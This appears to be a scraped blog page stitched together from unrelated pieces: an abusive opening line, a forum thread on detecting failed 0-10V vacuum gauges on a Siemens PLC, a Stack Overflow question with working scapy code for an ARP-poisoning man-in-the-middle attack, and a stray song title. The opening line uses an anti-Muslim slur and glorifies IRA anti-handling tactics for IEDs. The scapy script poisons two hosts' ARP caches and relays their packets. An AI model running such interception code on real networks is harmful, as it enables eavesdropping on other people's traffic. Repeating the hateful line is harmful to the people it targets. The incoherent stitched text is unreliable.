Sunday, April 2, 2017

Coming from the Irish Republican Army know how to fuck you....much better than any muslum motherfucker is the anti handling mechanism so bombs IED's are not sudden disrupt by you "system" hoores

Hi All,

I have a PCS7 v7.1 SP2 project that I am working on that uses 0v to 10v analogue vacuum gauges that generate a 0-10v DC voltage dependant on the pressure.

The customer needs to know if the gauge has failed, been unplugged or the the fuse supplying the 24VDC supply to it has blown.

The problem I have is that when the gauge is working fine and the vacuum is less than it's working range, I get 0v back on the analogue signal but if the gauge is unplugged or the power to it isoff (such as the fuse supplying it hasblown)I also (obviously) get 0v at the analogue signal which would indicate avery good vacuum.

For example, the gauge works from 0.01mbar pressure up to 100mbar pressure and this relates to 0v to 10v over this working range. If the pressure is below 0.01mbar the voltage stays at 0v.

While the system is running, the software checks that the pressure is below a certain setpoint which then allows other parts of the system to operate, so if the gauge is unplugged and I cannot detect that it is unplugged then the system will happily think that the pressure is below that setpoint and allow the system to operate potentially in an unsafe manner as the actual pressure couldbe above that setpoint but the software is unaware, this is my problem.

I am using a 6ES7331-7NF00-0AB0 analogue input module configured to +/-10v range. This module does not allow for broken wire detection or line continuity checking for this range. Is there another analogue card I can use to detect wire breaks on 0-10v input devices?

So my problem is, how can detect if the gauge is disconnected/supply fuseblown or the like?

An idea I have is to maybe monitor the current draw on the 24VDC supply to the gauge, if the current draw goes to zero then the gauge must be unplugged or the fuse blown, but I am unsure how to do this in reality, any ideas?

Thanks for any help you can give,


SOLUTION
Hello,

Best thing to do is replace the Sensors by 4 to 20 mA types, that makes it easy to detect any faillure.
The PLC module can do that or you use 0 to 20 mA inputs and program the faillure detection by yourself.

All other options are hobby solutions that in my opinion do not belong in a industrial proces.

If you really want to go for a cheap solution, place a series resistor in the powerline to the sensor and measure the voltage drop over it, but then again if there is a defect in the sensor you still get no alarm.

Just my 2 cents.

Quotes:
Diagnostics Output state when no inputs are wired or when input wire broken Output predetermined according to type of output selected:
voltage = - 13 V
current = 0 mA



Man in the middle attack with scapy

I'm trying to do a man in the middle attack with scapy on a test network. My setup is like this:enter image description here
Now that you get the idea, here's the code:
from scapy.all import *
import multiprocessing
import time
class MITM:
  packets=[]
  def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
    self.victim=victim
    self.node2=node2
    multiprocessing.Process(target=self.arp_poison).start()
    try:
      sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
    except KeyboardInterrupt as e:
      wireshark(packets)
    #self.arp_poison()
  def routep(self,packet):
    if packet.haslayer(IP):
      packet.show()
      if packet[IP].dst==self.victim[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.victim[1]
      elif packet[IP].dst==self.node2[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.node2[1]
      self.packets.append(packet)
      packet.display()
      send(packet)
      print len(self.packets)
      if len(self.packets)==10:
        wireshark(self.packets)
  def arp_poison(self):
    a=ARP()
    a.psrc=self.victim[0]
    a.pdst=self.node2[0]
    b=ARP()
    b.psrc=self.node2[0]
    b.pdst=self.victim[0]
    cond=True
    while cond:
      send(b)
      send(a)
      time.sleep(5)
      #cond=False
if __name__=="__main__":
  mitm=MITM()
This code is running on the VM2.
Arp poisoning works fine, I check the arp caches of both the machines and the behavior is as I expected. But inside routep, I modify the src and dst mac address and try to send the received packet to appropriate host, scapy gives a warning:
WARNING: more Mac address to reach destination not found. Using broadcast
And I see in the wireshark on VM2, the modified packets are not leaving the machine. Why would that be the case? Am I missing something?
shareimprove this question
   
Could it be that you have to explicitly tell scapy that you want to send and receive frames including MAC layer? – qarma Sep 30 '12 at 16:33
1 
I think you're over complicating it. You only need to send forged arp replies to the subnet and enable ip forwarding on your machine. secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning – tMC Oct 1 '12 at 17:03
Não encontrou uma resposta? Pergunte em Stack Overflow em Português.
If you use scapy's send(), it works on the third layer. From scapy's documentation:
The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2.
If you were to use sendp(), it won't use the default values for the destination's Mac address and your warning'll be gone.

Cielo e terra (duet with Dante Thomas)